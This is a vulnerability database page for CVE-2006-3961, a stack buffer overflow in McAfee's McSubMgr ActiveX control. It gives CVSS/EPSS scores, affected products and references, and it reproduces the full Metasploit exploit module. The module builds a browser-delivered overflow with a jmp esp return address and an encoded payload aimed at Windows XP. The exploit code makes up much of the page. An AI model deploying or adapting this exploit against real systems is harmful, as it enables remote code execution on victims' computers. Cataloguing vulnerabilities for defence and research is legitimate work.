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CVE Descriptions
Buffer overflow in McSubMgr ActiveX control (mcsubmgr.dll) in McAfee Security Center 6.0.23 for Internet Security Suite 2006, Wireless Home Network Security, Personal Firewall Plus, VirusScan, Privacy Service, SpamKiller, AntiSpyware, and QuickClean allows remote user-assisted attackers to execute arbitrary commands via long string parameters, which are later used in vsprintf.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 16510
Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'McAfee Subscription Manager Stack Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by
passing a large string to one of the COM-exposed routines, such as IsAppExpired.
This vulnerability was discovered by Karl Lynn of eEye.
},
'License' => MSF_LICENSE,
'Author' =>
[
'skape',
],
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'CVE', '2006-3961'],
[ 'OSVDB', '27698'],
[ 'BID', '19265'],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],
],
'Payload' =>
{
'Space' => 1014,
'MaxNops' => 0,
'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
'EncoderOptions' =>
{
'BufferOffset' => 0x8
}
},
'Targets' =>
[
# Target 0: Automatic
[
'Windows XP SP0/SP1',
{
'Platform' => 'win',
'Rets' =>
[
0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
#0x773f346a # XP SP2 comctl32.dll: jmp esp
]
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Pick the right target
case request['User-Agent']
when /Windows NT 5.1/
ret = target['Rets'][0]
else
print_error("Unsupported target: #{request['User-Agent']}")
cli.send_response(create_response(404, 'File not found'))
return
end
# Build out our overflow buffer
buf =
rand_text(2972, payload_badchars) +
[ ret ].pack('V') +
"\x60" + # pusha
"\x6a" + rand_char + # push byte 0x1
"\x6a" + rand_char + # push byte 0x1
"\x6a" + rand_char + # push byte 0x1
"\x61" + # popa
p.encoded
# Generate random variable names
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Build out the message
content =
"<html>" +
"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
"<script language='javascript'>\n" +
"var #{vname} = document.getElementById('#{vname}');\n" +
"var #{strname} = new String('#{buf}');\n" +
"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
"</script>" +
"</html>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
Products Mentioned
Configuraton 0
Mcafee>>Antispyware >> Version 2005
- Mcafee>>Antispyware >> Version 2005 (Open CPE detail)
Mcafee>>Antispyware >> Version 2006
- Mcafee>>Antispyware >> Version 2006 (Open CPE detail)
Mcafee>>Internet_security_suite >> Version 2004
Mcafee>>Internet_security_suite >> Version 2005
Mcafee>>Internet_security_suite >> Version 2006
Mcafee>>Personal_firewall_plus >> Version 2004
Mcafee>>Personal_firewall_plus >> Version 2005
Mcafee>>Personal_firewall_plus >> Version 2006
Mcafee>>Privacy_service >> Version 2004
- Mcafee>>Privacy_service >> Version 2004 (Open CPE detail)
Mcafee>>Privacy_service >> Version 2005
- Mcafee>>Privacy_service >> Version 2005 (Open CPE detail)
Mcafee>>Privacy_service >> Version 2006
- Mcafee>>Privacy_service >> Version 2006 (Open CPE detail)
Mcafee>>Quickclean >> Version 2004
- Mcafee>>Quickclean >> Version 2004 (Open CPE detail)
Mcafee>>Quickclean >> Version 2005
- Mcafee>>Quickclean >> Version 2005 (Open CPE detail)
Mcafee>>Quickclean >> Version 2006
- Mcafee>>Quickclean >> Version 2006 (Open CPE detail)
Mcafee>>Security_center >> Version 4.3
- Mcafee>>Security_center >> Version 4.3 (Open CPE detail)
Mcafee>>Security_center >> Version 6.0
- Mcafee>>Security_center >> Version 6.0 (Open CPE detail)
Mcafee>>Security_center >> Version 6.0.22
- Mcafee>>Security_center >> Version 6.0.22 (Open CPE detail)
Mcafee>>Security_center >> Version 6.0.23
- Mcafee>>Security_center >> Version 6.0.23 (Open CPE detail)
Mcafee>>Spamkiller >> Version 5.0
- Mcafee>>Spamkiller >> Version 5.0 (Open CPE detail)
Mcafee>>Spamkiller >> Version 6.0
- Mcafee>>Spamkiller >> Version 6.0 (Open CPE detail)
Mcafee>>Spamkiller >> Version 7.0
- Mcafee>>Spamkiller >> Version 7.0 (Open CPE detail)
Mcafee>>Virusscan >> Version 2004
Mcafee>>Virusscan >> Version 2005
Mcafee>>Virusscan >> Version 2006
Mcafee>>Wireless_home_network_security >> Version 2006
- Mcafee>>Wireless_home_network_security >> Version 2006 (Open CPE detail)
References
http://www.securityfocus.com/archive/1/442495/100/100/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
